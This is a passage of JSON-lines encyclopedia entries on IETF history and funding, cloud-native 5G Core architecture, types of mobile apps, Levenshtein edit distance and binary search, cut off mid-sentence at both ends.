become Historic RFCs. Experimental RFCs are used for exploring new technology including feasibility studies. The complete process is documented as RFC 2026, BCP 9. \n\n\n### How is IETF funded?\n\nFrom the time of its inception till 1997, IETF was funded by the US government, notably ARPA, NSF, NASA and DOE. From 1998, ISOC is the main funding body for IETF. However, ISOC did fund IETF prior to this. For example, US$225K was given in 1993. Since March 1991, IETF also charges meeting fees for attendees. These are used to cover meeting expenses plus secretariat expenses. \n\nAs of 2016, IETF operated on an annual budget of US$6million, of which about US$2million comes from ISOC In July 2016, some companies and organizations donated US$3million towards a fund called IETF Endowment. This fund's purpose is to \"provide long-term stability and increased diversity for funding IETF activities and operations.\" \n\nVolunteers themselves may be self-funded or sponsored by either their employers or other sponsors.\n\n## Milestones\n\nJan  \n1986\n\nFirst meeting of IETF is held with attendees from agencies funded by the US government. ARPANET's Network Working Group may be regarded as its precursor. \n\nOct  \n1986\n\nFourth meeting of IETF is held for which the public is invited to attend. Since then, all meetings are open to the public. \n\nFeb  \n1987\n\nConcept of Working Groups (WGs) is introduced. \n\n1991\n\nFrom 1991, meetings are held thrice a year. Previously, meetings were quarterly events. \n\n1992\n\nThe relationship and responsibilities between IAB and IETF come under scrutiny and clarification. \n\nJan  \n1992\n\nISOC is formed. ISOC is an international, membership-based non-profit organization. It also provides the legal umbrella for IETF, which IETF accepted in 1996. \n\n1993\n\nIETF moves from being a US government-funded activity to one funded by Internet Society (ISOC). \n\n1997\n\nUS government stops direct funding to IETF. From 1998, ISOC becomes the main funding channel for IETF. \n\n2005\n\nIETF Trust is established to manage copyrights.","meta":{"title":"Internet Engineering Task Force","href":"internet-engineering-task-force"}}
{"text":"# Cloud Native 5G Core\n\n## Summary\n\n\n5G Core has been standardized as a composition of many Network Functions (NFs) that expose their services via RESTful APIs. This is called Service-Based Architecture (SBA). To implement/deploy such a core, cloud-native is an architectural approach that's becoming increasingly popular. It brings benefits to both vendors and operators. Virtualization, containerization, microservices architecture and Kubernetes are some technologies that facilitate a cloud-native 5G Core. \n\nSBA addresses primarily the control plane. A cloud-native architecture should also consider the data plane and its performance. A cloud-native 5G Core should interwork with legacy architectures. Some operators may want a dual-mode core in which 4G EPC functions are also implemented in the cloud-native manner. \n\nBeyond the standardized NFs, a good cloud-native architecture should include provisioning, configuration, CI/CD, observability, scalability, security, and service orchestration.\n\n## Discussion\n\n### What's the cloud-native approach towards implementing 5GC?\n\nThe Cloud Native Computing Foundation (CNCF) has defined what cloud native means. Apps have to use the microservices architecture, that is, small independent components with cleanly defined interfaces. Microservices should be stateless whereby data is separated from the business logic. In 5G Core, unstructured data is stored in UDSF while structured data is stored in UDR. \n\nVia dynamic orchestration, containers can be created or destroyed at will. This leads to resilience and scalability. Immutable infrastructure is another attribute: it's easier to provision/deploy new resources than modify or upgrade existing ones. The system should be observable. To deliver features quickly, DevOps practices and CI/CD pipelines should be followed. \n\nCloud-Native Functions (CNFs) are NFs realized using cloud-native principles and components. These are deployed using Kubernetes or any Containers-as-a-Service (CaaS) platform based on Kubernetes. Many CNFs can execute within the same Kubernetes cluster. \n\n\n### How does VNF differ from CNF?\n\nTraditionally, costly proprietary hardware were used to build telecom networks. These are called Physical Network Functions (PNFs). With virtualization, network functionality could be deployed as Virtual Network Functions (VNFs) on cheaper commercial-off-the-shelf (COTS) hardware. Different VNFs could run on the same hardware. \n\nWhereas VNFs run on Virtual Machines (VMs), Cloud-Native Network Functions (CNFs) run inside containers. Containers are more lightweight than VMs. A container includes the application along with dependencies. All containers on a server share the same OS and resources. CNFs give operators more flexibility. Applications can be more easily scaled on demand or ported to different environments (development, staging, production). CNFs bring higher operational efficiency and better use of resources (compute, storage, networking).  \n\nJust moving a legacy application into a container won't help. To realize the benefits of cloud native, applications have to be rearchitected into microservices. The standardization of SBA enables this. \n\n\n### How will VNFs coexist with CNFs?\n\nAdoption of CNFs isn't going to be immediate. 5G Core networks are expected to include both VNFs and CNFs for some time to come. The NFV Orchestrator (NVFO) will interact with both Virtual Infrastructure Manager (VIM) and Kubernetes. \n\nCaaS can be deployed on IaaS (KVM, VMWare, etc). An alternative is to deploy CaaS directly on bare metal. The latter is less secure since it's easier to access host kernel space from host user space. However, the latter approach avoids the virtualization overhead. For better security via isolation, kata containers can be used while keeping the virtualization overhead minimal. \n\nMultiple CaaS (aka independent Kubernetes clusters) can be deployed over the same IaaS. In this case, CNFs in one cluster are isolated from those in another. This could be an alternative to kata containers on bare metal. \n\nCaaS themselves have evolved to supported legacy VM-based workloads. Using technologies such as KubeVirt or RancherVM, we can run VMs within a CaaS environment. \n\n\n### What are the benefits of going cloud native for the 5GC?\n\nThere are benefits for both vendors and operators. With cloud native, features can be developed and deployed faster. This can start small and then quickly scaled up across the network. Efficiency and performance are improved. Resources can be scaled up quickly and automatically to meet peak demands, and vice versa.  Resources can be deployed easily for a 5G feature called network slicing. \n\nCloud-native is agnostic of platform or cloud provider. Apps become portable and there's less vendor lock-in. From a business perspective, operators benefit from cost optimization and faster innovation. \n\nIt's insightful to see what characteristics bring these benefits. A cloud-native application is agnostic of the underlying infrastructure, which could be bare metal, IaaS, PaaS, or Kubernetes-based CaaS. Application is decomposed into microservices, each with its own software lifecycle. This bring agility, flexibility and efficiency. Deployment, observability and recovery are automated. Software as a whole is more resilient because non-responsive containers can be quickly replaced. This is because the microservices they contain are stateless. Application logic and state are cleanly separated. \n\n\n### What's the role of a service mesh in 5GC?\n\nSince microservices have a dynamic lifecycle, this presents a new set of problems: service discovery, traffic management, security and policy management, and observability. Each application can address these concerns. A better solution is to abstract away such infrastructure logic into a separate component. This is what service mesh offers.  \n\nService mesh is a dedicated infrastructure layer for service-to-service communication. Each application is accompanied by a sidecar proxy container. Via these proxies, we can collect metrics or implement retries, timeouts, circuit breaking, load balancing, secure tunnelling, and service discovery. Service mesh includes both data plane and control plane. Istio, Linkerd and Consul are examples of service mesh. A service mesh can be part of the Kubernetes platform or embedded within each CNF. \n\n3GPP hasn't standardized the use of a service mesh. Instead, NF consumers use NRF to discover NF producers. When there millions of active service flows, NRF could get flooded with discovery requests. This can be mitigated by using SCP. NRF and SCP fulfil the role of a service mesh. \n\n\n### What are the challenges in making 5G Core cloud native?\n\nEach vendor offers more than just the application logic of NFs. While an operator may aim for a multi-vendor solution, in-house integration is a challenge. At least for some NFs, the operator may adopt pre-integrated solutions. \n\nCloud-native technologies were developed for the web/mobile services that expose REST APIs. They're not yet mature enough for telco-grade requirements of bandwidth, latency, availability and security. Telecom networks typical demand 99.999% availability. The twelve factors that characterize microservices-based web apps can't directly be applied to telecom. \n\nAdopting the cloud native approach requires change of mindset. Applications are no longer vertically integrated. Common functionality will be horizontally integrated at the platform layer. Neither vendors nor operators should feel they're losing control. Instead they should see the benefits of embracing cloud native. \n\nFor the data plane, performance (throughput, latency, jitter) is a challenge. DPDK and VPP are solutions that bypass the kernel space and process data directly in the user space. Another approach called SR-IOV bypasses the hypervisor and gives multiple VNFs direct access to the same physical NIC. \n\n\n### Who has implemented cloud-native 5G Core?\n\nHuawei's Telco Converged Cloud (TCC) is a cloud-native architecture. It's based on OpenStack and Kubernetes. It allows VMs and containers (within VMs or on bare metal) to coexist. For better resource utilization, it offers the Unified Resource Management layer. \n\nEricsson offers a layer called Generic Services that includes load balancing, databases, observability, and FCAPS. For business logic, it offers Packet Core Controller and Packet Core Gateway.  It offers end-to-end management from deep edge sites to central sites. \n\nSamsung's 5G Core aims to be FAST: fast, agile, scale and tunable. With closed-loop automation they claim to achieve high operational efficiency. Orchestration, operations and analytics are centralized. Samsung identifies three types of microservices: NF-specific, common (eg. database, event), and OAM (eg. logging, tracing). It's competitive advantage comes from multi-interface, pod-based load balancer, geo-redundancy, inline upgrade, UPF packet acceleration (SR-IOV, OVS-DPDK) and open tracing. \n\nAmong the open source offerings, there's some work happening to port Open5GS on Kubernetes and Free5GC on Kubernetes. As a cloud-native service platform, Kube5G offers CI/CD and operator workflows. Its alternative is 5G-Kube. \n\n## Milestones\n\nOct  \n2012\n\nAt the SDN and OpenFlow World Conference, an introductory white paper titled *Network Functions Virtualization* is published. This triggers interest towards virtualization of telecom infrastructure. NFV enables Software Defined Networking (SDN). SDN advocates the separation of control and data planes. By now, some vendors are already offering virtualized versions of their proprietary software. However challenges remain in terms of interoperability, orchestration, performance, and stability. \n\n2013\n\n**Docker** is released to build and manage containerized applications. It uses Linux kernel features to isolate processes. But for an app composed of dozens of containers, it quickly becomes clear that some sort of orchestration tool is needed. \n\nDec  \n2014\n\nETSI releases v1.1.1 of **NFV Management and Orchestration (NFV-MANO)**. \n\n2015\n\n**Kubernetes 1.0** is released as a tool for container orchestration. At the same time, the **Cloud Native Computing Foundation (CNCF)** is formed with Kubernetes as its first project. \n\nNov  \n2017\n\n5G PPP's 5G-MoNArch project publishes the document *5G Mobile Network Architecture*. This talks about a \"cloud-enabled protocol stack\" that's based on virtualization and orchestration. The term **telco cloud** is used although there's no mention of the term \"cloud native\". \n\nJul  \n2018\n\n5G PPP publishes a white paper titled *From Webscale to Telco, the Cloud Native Journey*. It notes that future 5G networks can't ignore the cloud-native paradigm, which it summarizes as \"the shift from the cloud ready to cloud native, from VM to container, from MANO to Kubernetes\". They identify six features needed for telecom: multi-network interfaces, service function chaining, data plane acceleration, enhanced platform awareness, environment aware scheduling and multi-site support. \n\nMay  \n2019\n\nThe CNCF creates the **Telecom User Group (TUG)**. Under this group, telecom vendors and operators can collaborate for faster adoption of cloud-native. Some operators are deploying containers within VMs, which isn't the right way to containerize apps. There are also networking challenges that projects such as MULTUS, DANM and NSM are addressing. \n\nDec  \n2019\n\nEarly adoption of VNFs are disappointing because applications are not stateless or platform agnostic. Where CNFs are adopted, they run inside VMs. However, stakeholders realize Kubernetes on bare metal is the future. One trial shows that NF deploy time drops from 220 seconds under OpenStack to less than 30 seconds under Kubernetes. \n\n2020\n\nSamsung offers a cloud-native 5G Core platform where both VNFs and CNFs can coexist. This enables seamless migration from VNFs to CNFs. It's working towards a multi-cloud solution. For example, core can be split between on-prime private cloud and remote public cloud. With a purely public cloud approach, user plane runs on AWS Outpost for performance reasons while the control plane runs centrally. MEC applications can be more easily deployed on public clouds. \n\n2022\n\nWhile adoption of Kubernetes and CNFs is growing, it's expected that **VNFs and CNFs will coexist** for some time. Platforms are likely to support both. Huawei's Telco Converged Cloud (TCC) is an example, available since 2020. It supports both OpenStack-based VMs and Kubernetes-based containers. It also supports containers that can run within VMs or directly on bare metal. \n\nNov  \n2023\n\nThe Linux Foundation announces its intention to merge telecom-specific activities of the CNCF to those of the Linux Foundation's Networking group. Certification and test suites related to CNFs will be handled by the Linux Foundation.","meta":{"title":"Cloud Native 5G Core","href":"cloud-native-5g-core"}}
{"text":"# Types of Mobile Apps\n\n## Summary\n\n\nFrom a user perspective, mobile apps can be categorised as educational, informational, productivity, gaming, entertainment, communication, eCommerce, and so on. This article is more from a developer perspective, the different technologies that power mobile apps.\n\nThe earliest apps interfaced directly with the native capabilities of the platform on which they were deployed. This was the case with apps running on Symbian OS. Later when iPhone (2007) and Android (2008) came out, the app ecosystem became fragmented. App developers had to develop separately for iOS and Android.\n\nTo solve this problem and reuse code, hybrid apps were invented but they had performance limitations. In the 2010s, cross-platform development because possible by interfacing to native capabilities without sacrificing performance.\n\n## Discussion\n\n### What are the different types of mobile apps?\n\nThere are three broad types of mobile apps:\n\n    + **Native**: App is developed for a specific platform using the platform's native APIs. It's therefore performant and has full access to device capabilities. The platform's ecosystem, such as an app store, helps in distributing the app. Code cannot be reused for other platforms. Examples are iOS (Swift or Objective-C), Android (Kotlin or Java), Windows Phone (C# .NET).\n    + **Hybrid**: App is developed using web technologies but is wrapped inside a native app. Code can be reused across platforms. App can also access native APIs. Examples are Ionic, Sencha Touch.\n    + **Mobile Web**: App is developed with web technologies and delivered via a web browser. Typically, these are web apps with responsive design so that they display well on smaller devices as well. Business logic is on the server and only a single codebase needs to be maintained. There's no need to install anything from app stores. *Progressive Web Apps (PWA)* deliver mobile app-like experience via a web browser.\n\n### Could you explain how hybrid mobile apps work?\n\nThe term \"hybrid\" implies that the app uses a mix of web technologies and native APIs. HTML5, CSS and JS are used so that same code can be reused across platforms. Native APIs are used to get access to camera, geolocation, etc. In the case of Ionic, which is based on Cordova, *WebView* is used. This is a browser instance that interprets and render the UI. It's wrapped within the app. Cordova takes care of the wrapping and interfacing to the native APIs. \n\nHybrid apps have to live with the limitations of WebView and therefore performance could suffer. Latest native capabilities may not be available unless platforms such as Ionic keep pace with the changes. To overcome this, platforms such as Appcelerator Titanium (JavaScript), React Native (JavaScript), NativeScript (JavaScript/TypeScript) and Xamarin (C#) take a different approach. App can be written in another language but then compiled or interpreted to call native APIs. Thus, code reuse is possible without sacrificing performance. Such apps may be called \"hybrid native apps\" or even simply \"native apps\". \n\n\n### What are the metrics by which we should evaluate mobile app platforms?\n\nSome metrics include development cost, performance, distribution, monetization, device features and their accessibility, user interface, code portability, and maintenance. For example, native platforms give full access to device features and better performance. Codebase of hybrid apps is easier to maintain at lower cost and can be ported to another platform more easily. Native apps are typically distributed through app stores. Hybrid apps can be distributed directly but they lose the benefits of app store discovery. \n\nYou may also want to look at availability, compilation, development environment, programming language/platform and community support. For example, React Native is free but Xamarin is free, subject to terms and conditions of Visual Studio Community Edition. Just-in-time compilation is not possible for iOS on both React Native and Xamarin. React Native and TypeScript are based on JavaScript and therefore easier for web developers. Developers coming from C# and .NET background will find Xamarin easier to adopt. A larger community means that you can find third-party packages and UI components. \n\n\n### How should I choose the right platform for my next mobile app?\n\nDevelopers skilled in native platforms are difficult to find and costly. For each platform, you would need a different skill set. If you want your app to reach a broad audience across platforms, then either a mobile web app or hybrid app must be preferred. These allow code reuse across platforms. \n\nIf your app involves heavy graphics such as in gaming, requires full access to device capabilities, or full control of the UI, then native apps will offer these. In fact, if your app is targeted at only a specific platform such as iOS, then going native is a sensible approach. \n\nTo obtain native performance while also reusing as much of the code as possible across platforms, React Native, NativeScript, Xamarin, etc. can be adopted. What you adopt should depend on the maturity and support of the technology, plus the skill sets available with you. For example, C# and .NET developers can adopt Xamarin while JavaScript developers can adopt React Native or NativeScript.\n\n## Milestones\n\n1998\n\nPsion Software is renamed as Symbian Ltd, and its EPOC32 becomes **Symbian OS**. Symbian OS forms the basis of many UI variants including Series 80, Series 60, UIQ and MOAP. This UI fragmentation makes it difficult to deliver apps across the variants. Symbian programming is via *Symbian C++*. It's low level and difficult. In 2011, this is replaced with Qt-based development but it comes too late against competition from iOS and Android. \n\nJun  \n2007\n\nApple launches the very first iPhone in June 2007. iPhone offers capacitive touchscreen, which is vastly superior to resistive touchscreens of Symbian-based phones. The OS is named *iPhone OS*. The initial idea is that developers would build web apps that would be rendered on the Safari web browser; but in February 2008, Apple releases the **iPhone SDK** to enable third-party native apps. In June 2010, iPhone OS is renamed to *iOS*. \n\nNov  \n2007\n\nGoogle releases beta version 1.0 of Android for developers. Developers can make native apps for the Android platform. The first Android phone named T-Mobile G1 (or HTC Dream) is announced in September 2008. \n\n2009\n\nA startup named Nitobi creates **PhoneGap**, for developing cross-platform hybrid apps. Using only HTML5, CSS and JS, it provides APIs to access native capabilities. Apps created with PhoneGap use *WebView*. In 2011, Adobe purchases PhoneGap. It also open sources the code via Apache Software Foundation (ASF). The open source variant is called **Apache Cordova**. \n\n2010\n\nTo facilitate mobile apps using web technologies such as HTML5, CSS and JS, **Sencha Touch** is released. Developers can build UIs that looks like native UIs. It also support Cordova APIs to allow access to accelerometer, camera, geolocation, etc. \n\nApr  \n2012\n\nSamsung releases **Tizen**, an OS that can be used on a wide range of embedded devices including smartphones. The first smartphone to run on Tizen is planned for a 2014 launch in Russia but cancelled due to lack of apps. The first smartphone comes out in India in January 2015, the Samsung Z1. Tizen is based on Linux kernel. Developers can use it to build native apps (C++), web apps (HTML5) or even hybrid apps. \n\nFeb  \n2013\n\nFor mobile app development in .NET and C#, **Xamarin 2.0** is released. This includes Xamarin Studio, an IDE that integrates well with iOS and Android SDKs for cross-platform mobile app development. The release also allows developers to write native iOS apps in Visual Studio using C#. Xamarin as a company dates from May 2011. \n\n2013\n\nA startup named Drifty, founded in 2012, releases **Ionic**, an open source HTML5-based platform for building hybrid apps. Ionic itself is based on Cordova. \n\n2015\n\nFacebook open sources **React Native**, which is a framework to build cross-platform native mobile apps using JavaScript and React. \n\nFeb  \n2018\n\nAt the Mobile World Congress 2018, Google releases the first beta of **Flutter**, a mobile UI framework to build native interfaces for both iOS and Android. Flutter is written in *Dart* programming language.","meta":{"title":"Types of Mobile Apps","href":"types-of-mobile-apps"}}
{"text":"# Levenshtein Distance\n\n## Summary\n\n\nGiven two words, we can ask how similar are the two words. We can also ask this question of two sentences or string sequences. To quantify the similarity, we need a measure. Levenshtein Distance is such a measure.\n\nBy means of simple operations (such as insertion, deletion and substitution), we can determine how to transform one word or sequence into the other word or sequence. There could be many ways to achieve this. Levenshtein Distance is defined as the minimum number of operations required to make the two inputs equal. Lower the number, the more similar are the two inputs that are being compared. \n\nThere are a few algorithms to solve this distance problem. Levenshtein Distance is useful in many application domains including signal processing, natural language processing and computational biology. \n\nLevenshtein Distance is also called **edit distance**.\n\n## Discussion\n\n### Could you explain Levenshtein Distance with an example?\n\nConsider the two words \"rain\" and \"shine\". To transform \"rain\" into \"shine\", we can replace 'r' with 's', replace 'a' with 'h' and insert 'e'. Thus, the edit distance between these two words is 3. This is assuming that all operations have the same cost of 1. If we assign a higher cost to substitutions, say 2, then the edit distance becomes 2\\*2 + 1 = 5. To transform \"shine\" to \"rain\", the operations are reversed (insertions become deletions) but the edit distance is the same when costs are symmetric.\n\nConsider the words \"train\" and \"shine\". If each letter is replaced, we need 5 operations but this not the minimum. We can do better by aligning \"in\", doing one insertion, two substitutions and one deletion. Edit distance is therefore 4.\n\nA lower distance implies greater similarity between the two words. In NLP, we generally wish to minimise the distance. In computational biology, we wish to maximize similarity. In error correcting codes, we wish to maximize the distance so that one codeword is not easily confused with another. \n\n\n### What are \"weights\" in the context of edit distance?\n\nWhat we call \"weights\" in NLP are called \"scores\" in computational biology. In the simplest case, we can give the same weights to insertions, deletions and substitutions, regardless of the symbol.\n\nIn reality, some errors are more likely that others. Consider how keys are laid out on a standard computer keyboard. It's easy to mistype an adjacent key. Some spelling errors are more likely than others. Likewise, in optical character recognition, it's possible to easily misinterpret between 'o' and 'e', or 'm' and 'n'. Likewise, in a DNA sequence some deletions or insertions are more likely than others. Weights help us account for these varying probabilities. \n\nMathematically, given two words of length N and M, D(N,M) is the distance. Words are 1-indexed but D(i,j) is 0-indexed. Accounting for the weights, edit distance can be computed this way: \n\n*Initialization* \n\n$$D(0,0) = 0\\\\D(i,0) = D(i-1,0) + del[x(i)]; 1 < i ≤ N\\\\D(0,j) = D(0,j-1) + ins[y(j)]; 1 < j ≤ M$$\n\n*Recurrence Relation* \n\n$$D(i,j) = min\\begin{cases}{D(i-1,j) + del[x(i)]\\\\D(i,j-1) + ins[y(j)]\\\\D(i-1,j-1) + sub[x(i),y(j)]}\\end{cases}$$\n\n\n### Which are the algorithms that can compute the Levenshtein Distance?\n\nThere are many algorithms to compute the edit distance. Many of them are classified as **dynamic programming** algorithms. One of them is the Wagner-Fischer algorithm that we describe here.\n\nThe idea is to make a matrix of edit distances between all prefixes of one string and all prefixes of the other string. Levenshtein Distance is calculated by *flood filling*, that is, a path connecting cells of least edit distances. The approach is to start from upper left corner and move to the lower right corner. Moving horizontally implies insertion, vertically implies deletion, and diagonally implies substitution. Each cell minimizes the cost locally. \n\nConsider the example of transforming \"levenshtein\" to \"meilenstein\" with equal weights of 1. There are actually two solutions, both having edit distance of 4. In one solution, we insert 'i' and replace 'v' with 'l': horizontal, then diagonal. In the other solution, we replace 'v' with 'i' and the insert 'l': diagonal, then horizonal. \n\nIf we wish to know the sequence of operations, we need to keep track of path, thus requiring more memory. \n\n\n### What do you mean by Normalized Levenshtein Distance?\n\nConsider two strings of same length 3 with edit distance of 2. Consider another two strings of same length 9 with edit distance of 3. We may say that the latter pair is more similar. To quantify the similarity, we *normalize* the edit distance. \n\nOne approach is to calculate edit distance as usual and then divide it by the number of operations, usually called the length of the edit path. This is called **edit distance with post-normalization**. The problem with this approach is that it may not produce the minimum normalized edit distance using Wagner-Fischer algorithm. Suppose weights are unequal for insertions/deletions and substitutions. It's possible to have a longer edit path that results in a lower normalized distance. **Normalized Edit Distance (NED)** algorithm finds this minimum. \n\nFor example, assume additions/deletions have a weight of 2, substitutions have a weight of 3. Consider the pair of words (abbb, aaab). When we normalize after Wagner-Fischer algorithm, we get 1.5 but with NED we get 1.33. It's also been observed that NED in most cases obeys the triangle inequality. \n\n\n### How is Levenshtein Distance related to the triangle inequality?\n\nIn mathematics, edit distance can be seen as a *metric* in a metric space. In other words, the problem can be interpreted geometrically. The similarity between two words can be seen as the geometric distance between two points in the metric space. Such a metric obeys the **triangle inequality**. Given distance d, \\(d(x,y) + d(y,z) \\geq d(x,z)\\). A composition of two edits can't be smaller than a direct edit. \n\nLet's consider the pair (rcik, rick) whose edit distance is 2. Another pair (rick, irkc) has edit distance 3. Now consider a direct edit involving (rcik, irkc), which is 4. This direct edit is less than the sum of the other two edits. Levenshtein Distance is indeed a metric and it obeys the triangle inequality. \n\nWagner and Fischer formally proved this. In fact, their algorithm to compute the edit distance relies on this. The triangle inequality is satisfied due to the constraint that no position in a string is transformed more than once. This implies that all operations can be applied in parallel. \n\n\n### Are there any variants of Levenshtein Distance?\n\nBased on the work of Fred Damerau (1964) and V.I. Levenshtein (1965) **Damerau–Levenshtein Distance** is sometimes used instead of the classical edit distance. With Damerau–Levenshtein Distance, transpositions are also allowed where two adjacent symbols can be swapped. Consider the pair (rcik, irkc). This has an edit distance of 4, due to 4 substitutions. But if transpositions are allowed then the Damerau–Levenshtein distance is 3: `rcik -> rick -> irck -> irkc`. \n\nFor automatic speech recognition, Levenshtein Distance is calculated on words rather than characters. It's also been extended to three or more dimensions. \n\nLevenshtein Distance has been adapted to Chinese language to extract person-affiliation relations. Words \"爱(love)\" and \"喜欢(like)\" are synonyms and should be seen as similar. Likewise, \"the apples\" and \"the sweet apples\" are not too different. We can use weights to account for these. \n\n\n### What are some alternatives to Levenshtein Distance?\n\nThe choice of a suitable similarity metric depends on the application. If we're comparing two sets where order is irrelevant, then Jaccard Distance can be used. A similar measure to Jaccard Distance is Sørensen–Dice coefficient. \n\nLongest Common Subsequence (LCS) allows only insertion and deletion. Jaro Distance allows only transposition. Hamming Distance allows only substitution and thus can be used to compare only strings of same length. Episode distance is a measure that allows only insertions. \n\nIf strings are treated as vectors, Cosine Similarity can be used. This is based on the angle between the two vectors. \n\n\n### What are some applications of Levenshtein Distance?\n\nComputing the Levenshtein Distance has also been called the *string-to-string correction problem*. It's relevant to string matching problems occurring in various domains such as information retrieval, pattern recognition, error correction, and molecular genetics. \n\nIn NLP, Levenshtein Distance is useful for suggesting spelling corrections, detecting plagiarism, and aiding translators in translation memory systems. For example, if a word is misspelt as \"ligting\", Levenshtein Distance can suggest that \"lighting\" is most similar, which helps the writer correct the spelling. It's also been used to cluster words that share a root word. \n\nLevenshtein Distance in fact started in signal processing, in particular, to see how errors in communications systems can be corrected. Another application is speech recognition. A perfect match of an audio signal is impossible and edit distance can find the most suitable match. \n\nDNA is a sequence of letters such as A, C, G, T. Searching for specific sequences is often difficult due to measurement errors, mutations or evolutionary alterations. Thus, similarity of two sequences using Levenshtein Distance is more useful than exact matches. \n\n\n### What software tools are available for calculating Levenshtein Distance?\n\nIn Python's NLTK package, we can compute Levenshtein Distance between two strings using `nltk.edit_distance()`. We can optionally set a higher cost to substitutions. Another optional argument if set to true permits transpositions and thus helps us calculate the Damerau–Levenshtein Distance. \n\nIn TensorFlow, `tf.edit_distance()` gives us Levenshtein Distance and optionally normalize it. In R language, package *stringdist* can calculate many string edit distances. \n\nIn some applications, when comparing sentences or paragraphs, we may want to exclude some words, or invoke some pre-processing tasks such as lemmatization or stemming. In such cases, we could first tokenize the input using `nltk.word_tokenize(s1)` (in Python) before calculating the edit distance. \n\nIf we wish to compute Levenshtein Distance by implementing known algorithms, Rosetta Code has a page sharing implementations in many languages. A similar list of implementations is at Wikibooks. Some implementations are more memory efficient than others. It's said that most applications will use heap memory sparingly. In general, a naive recursive implementation will be inefficient compared to a dynamic programming approach. \n\n## Milestones\n\n1964\n\nFred Damerau at IBM looks the problem of matching an erroneous word to words in a dictionary. The error could be a missing character, an extra character, or a wrong character. By accounting for these error types, he was able to find a match in 95% of all error cases. \n\n1965\n\nIn communication systems, information can get corrupted. Typically, 0s may becomes 1s, and vice versa. V.I. Levenshtein also considers the problem of extra bits getting introduced into the information stream or bits that go missing. He states that \"the function r(x, y) defined on pairs of binary words as equal to the smallest number of deletions, insertions, and reversals that will transform x into y is a metric, and that a code K can correct s deletions, insertions, and reversals if and only if r(x, y) > 2s for any two different words x and y in K.\" \n\n1974\n\nThe **Wagner-Fischer Algorithm** is invented to compute the edit distance between two strings. Algorithm has a time complexity of \\(O(m\\,n)\\) when comparing two strings of length m and n. The term *edit distance* is also coined by Wagner and Fischer. P.H. Sellers coins *evolutionary distance* as an alternative term. \n\n1975\n\nBahl and Jelinek provide a **stochastic** interpretation of edit distance. Called **similarity learning**, the algorithm will learn pairwise similarity of words by analysing the corpus. Each edit operation has a cost and the idea is to learn these costs, such as by maximizing the likelihood of data. \n\n1980\n\nMasek and Paterson design an algorithm that brings down the worst case time complexity to \\(O(m\\,n/log\\_{\\sigma}^{2}n)\\) but requires \\(O(n)\\) more space. In practice, it can't beat the classical algorithm for text below 40GB. \n\n1986\n\nOommen considers **constrained edit distance** where constraints are placed on edit operations. Example constraints could be \"no more than k insertions\" or \"exactly k substitutions\". They also give an algorithm that has \\(O(m\\,n\\,min(m,n))\\) time and space complexity. \n\n1993\n\nMarzal and Vidal define **Normalized Edit Distance (NED)** and an algorithm for computing it. In 2000, two researchers improve the time complexity of finding NED from \\(O(m\\,n^{2})\\) to \\(O(m\\,n\\,log\\,n)\\). \n\n2007\n\nCormode and Muthukrishnan consider substring moves and approximation of edit distance. With these modifications, they show that time complexity can be sub-quadratic. \n\n2015\n\nIndyk and Bačkurs prove that the problem of finding the edit distance can't be solved in less than quadratic-time complexity. Thus, we can't do better than the Wagner-Fischer algorithm in terms of time complexity.","meta":{"title":"Levenshtein Distance","href":"levenshtein-distance"}}
{"text":"# Binary Search\n\n## Summary\n\n\nBinary search is an algorithm for efficiently searching for an item within a sorted list of items. The search is performed in steps, with each step reducing the search space by half (with linear or sequential search the search space reduces by only one item). At each step, the midpoint is selected and compared against the search value. If the midpoint is lesser than the search value, only the upper half is retained for the next step.\n\nWhen formulated in a more abstract way, binary search can be used to solve optimization problems with the use of binary predicates. Whenever the predicate is evaluated, the algorithm will retain only half the search space where the predicate is true. In this case, binary search can be seen as \"searching\" for an optimum solution rather than searching for a specific item.\n\n## Discussion\n\n### How can we derive the complexity of binary search?\n\nGiven a list of \\(n\\) items, linear search is of complexity \\(O(n)\\). Binary search has a complexity of only \\(O(log\\_{2}n)\\). For comparison, linear search on a list of 1000 items may take on average 500 steps and 1000 steps in the worst case. The same with binary search will only take about \\(log\\_{2}1000\\approx10\\) steps.\n\nA video tutorial by GeeksQuiz explains how to derive this complexity. Briefly, since each step reduces the search space by half, and given that \\(k\\) steps are required, this implies \\(n=2^k\\), which translates to \\(k=log\\_{2}n\\). Binary search is said to take the divide-and-conquer approach. \n\nComputational complexity described above is in terms of number of steps to complete the search. An optimized implementation would use only one comparison per step. Algorithms also take up memory to manage operations. The space complexity of binary search is \\(O(1)\\), which means that it is constant and independent of \\(n\\). \n\n\n### What are the prerequisites for applying binary search?\n\nBinary search can be applied only under the following conditions: \n\n    + List is sorted: Since half the search space is discarded based on a midpoint value comparison, binary search works only on a sorted list.\n    + Random access is possible: Binary search maintains the boundaries of the search space in terms of left and right indices. Midpoint is calculated based on these indices. To access the value of the current midpoint item, the item must be accessible by its index. This works nicely with data structures that support indexing such as arrays (C, Java) and lists (Python). Using binary search on a data structures such as a linked list is wasteful since we need to traverse the list item by item to get to the midpoint.\n    + Size: Size of the search space must be known.\n\n### If my array is unsorted, what search should I use?\n\nThere are two approaches: sort the array first and then apply binary search; or simply apply linear search. The question is which of these two is faster. Let's use a fast sorting algorithm such as mergesort. This has a complexity of \\(O(n\\,log\\_{2}n)\\). Linear search has a complexity of \\(O(n)\\). Since \\(O(n\\,log\\_{2}n) > O(n)\\), to use linear search is better.\n\nThis also implies that if your application does frequent updates to the list, avoid binary search since keeping the list in sorted order can reduce performance. \n\n\n### Can we do a 3-way or even n-ary search for faster results?\n\nEvery comparison is between two alternatives, hence binary in nature. To decide among three alternatives we would need two comparisons anyway. A binary search is therefore superior since with two comparisons it can handle \\(2^{2}=4\\) alternatives. The same argument works for n-ary searches. An alternative explanation is available from Geeks For Geeks. \n\nWhen the distribution of data is known and the lists are large, then interpolation search can do better than binary search. Hash tables are faster because they maintain a mapping of key-to-value. However, binary search is more versatile since they can be used to solve optimization problems as well. \n\n\n### Can you give an example of binary search for solving optimization problems?\n\nTopCoder gives an example called FairWorkload. There are \\(n\\) filing cabinets each with a variable number of folders and \\(k\\) available workers to process the folders. Each worker must be assigned one or more contiguous filing cabinets to process. Under the constraint of worker availability, how many workers do we need so that workload is most evenly distributed while minimizing the number of folders each worker processes? This can be solved using binary search. The search space is the number of folders per worker.\n\nThe predicate can be stated as, \"Can the workload be spread so that each worker has to examine no more than x folders, with the limited number of workers available?\" With each step, we can calculate the number of workers required for a certain maximum number of files per worker. If this number is less than or equal to \\(k\\), it implies that we can move the upper limit to the current midpoint.\n\nAnother example is to find the minimum of a mathematical function. Another example is to find the square root of a real number. \n\n\n### How is binary search different from binary search tree?\n\nBinary search is an algorithm. Binary search tree is a data structure. Other 